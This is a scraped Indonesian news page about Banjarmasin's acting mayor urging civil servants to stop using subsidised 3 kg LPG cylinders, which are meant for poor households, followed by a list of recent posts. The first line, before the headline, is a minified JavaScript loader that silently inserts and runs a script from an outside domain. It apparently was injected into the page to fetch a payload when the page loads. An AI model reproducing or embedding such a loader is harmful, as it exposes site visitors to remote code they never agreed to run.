(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

‘Haramkan’ ASN Pakai LPG 3 Kg, Plh Wali Kota Banjarmasin: Itu untuk Warga Miskin!


KANALKALIMANTAN.COM, BANJARMASIN – Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin ‘diharamkan’ menggunakan Liquefied Petroleum Gas (LPG) bersubsidi 3 kilogram (Kg).

Pelaksana Harian (Plh) Wali Kota Banjarmasin Mukhyar mengatakan, pihaknya akan kembali mengeluarkan imbauan kepada ASN agar tidak menggunakan LPG 3 Kg.

“Untuk kedepannya akan kami sampaikan edaran. Kami harapkan ASN yang memakai gas 3 kilogram tidak memakainya lagi,” ucapnya, Senin (22/2/2021).

Imbauan tersebut sejatinya memang sudah pernah diterbitkan Pemko Banjarmasin pada tahun 2017 lalu. “LPG 3 kilogram ini kan untuk warga miskin, jadi kita harapkan agar ASN tidak menggunakannya,” sebut Mukhyar.

Sejauh ini, memang Pemko Banjarmasin belum menemukan adanya laporan bahwa ASN lingkup Pemko Banjarmasin yang menggunakan gas subsidi khusus warga miskin itu.

“Kita belum mendapati adanya informasi itu, tetapi sejak 2017 imbauan itu sudah dikeluarkan. Kalaupun ada yang menggunakan kita akan memberikan sanksi,” tegasnya.

Gas bersubsidi 3 kilogram hanya diperuntukkan bagi masyarakat miskin itu, rupanya tak hanya dipergunakan warga tak mampu saja. Di lapangan tidak sedikit mereka yang mampu, juga menggunakannya. Bahkan ada dugaan bahwa dari kalangan ASN menikmati LPG bersubsidi tersebut.

Terkait hal ini, Ketua Himpunan Wiraswasta Nasional Minyak dan Gas Bumi (Hiswana Migas) Kalsel, H Saibani meminta agar ASN segera meninggalkan gas subsidi, beralih ke gas non subsidi, misalnya LPG 5,5 Kg atau 12 Kg.

“Kita tidak tutup mata, dan tidak bisa juga menyalahkan ASN ada yang memakai 3 kilohram, kami tidak bisa menindak. Cukup kesadaran saja, bahwa itu sebenarnya untuk masyarakat miskin,” ujar H Saibani.

Hiswana Migas Kalsel berharap Pemprov hingga Pemko maupun Pemkab kembali mengingatkan ASN agar segera meninggalkan LPG bersubsidi tersebut. (kanalkalimantan.com/rls)

 

Reporter : Rls
Editor : Kk

 

 


Al Ghifari

Recent Posts

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

2 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

5 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

7 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

7 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

8 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

10 jam ago

This website uses cookies.